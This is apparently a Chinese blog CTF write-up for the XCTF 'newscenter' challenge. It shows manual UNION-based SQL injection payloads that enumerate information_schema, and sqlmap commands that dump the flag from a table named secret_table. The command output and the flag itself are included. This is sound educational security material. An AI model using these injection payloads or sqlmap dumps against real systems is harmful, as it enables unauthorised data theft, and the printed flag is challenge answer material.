[wp]xctf newscenter

原创

lonmar~ 于 2020-03-08 16:23:17 发布 113 收藏

分类专栏： CTF 文章标签： sql mysql

本文链接：https://blog.csdn.net/weixin_45551083/article/details/104734720

CTF

手工注入

查询所有数据库名称和表名

’ union select 1,table_schema,table_name from information_schema.tables#

- 发现就两个数据库information_schema与news
- 查询news数据库中的表的名称

  ’ union select 1,table_schema,table_name from information_schema.tables where table_schema=‘news’ #

news	news	
news	secret_table	

- 查询secret_table里面的列名
  ' union select 1,table_name,column_name from information_schema.columns where table_name='secret_table' #

secret_table	
id	
secret_table	
fl4g	

- 查询fl4g里的字段
  ' union select 1,1,fl4g from secret_table #

1
QCTF{sq1_inJec7ion_ezzz}

sqlmap

sqlmap常用命令:
https://www.cnblogs.com/iAmSoScArEd/articles/9263735.html

- post的注入方式 sqlmap -u "url" --data "search=suibianxie"

```
root@kali:~# sqlmap -u "http://111.198.29.45:31363/" --data "search=acf"
```

- 查看表信息
- sqlmap -u "http://111.198.29.45:31363/" --data "search=acf" --columns

```
Table: secret_table
[2 columns]
+--------+------------------+
| Column | Type             |
+--------+------------------+
| fl4g   | varchar(50)      |
| id     | int(10) unsigned |
+--------+------------------+

Database: news
Table: news
[3 columns]
+---------+------------------+
| Column  | Type             |
+---------+------------------+
| content | text             |
| id      | int(10) unsigned |
| title   | varchar(50)      |
+---------+------------------+
```


- 查看fl4g字段 --dump查看表中数据即可
- sqlmap -u "http://111.198.29.45:31363/" --data "search=acf" -T secret_table --dump

```
Database: news
Table: secret_table
[1 entry]
+----+-------------------------+
| id | fl4g                    |
+----+-------------------------+
| 1  | QCTF{sq1_inJec7ion_ezzz} |
+----+-------------------------+
```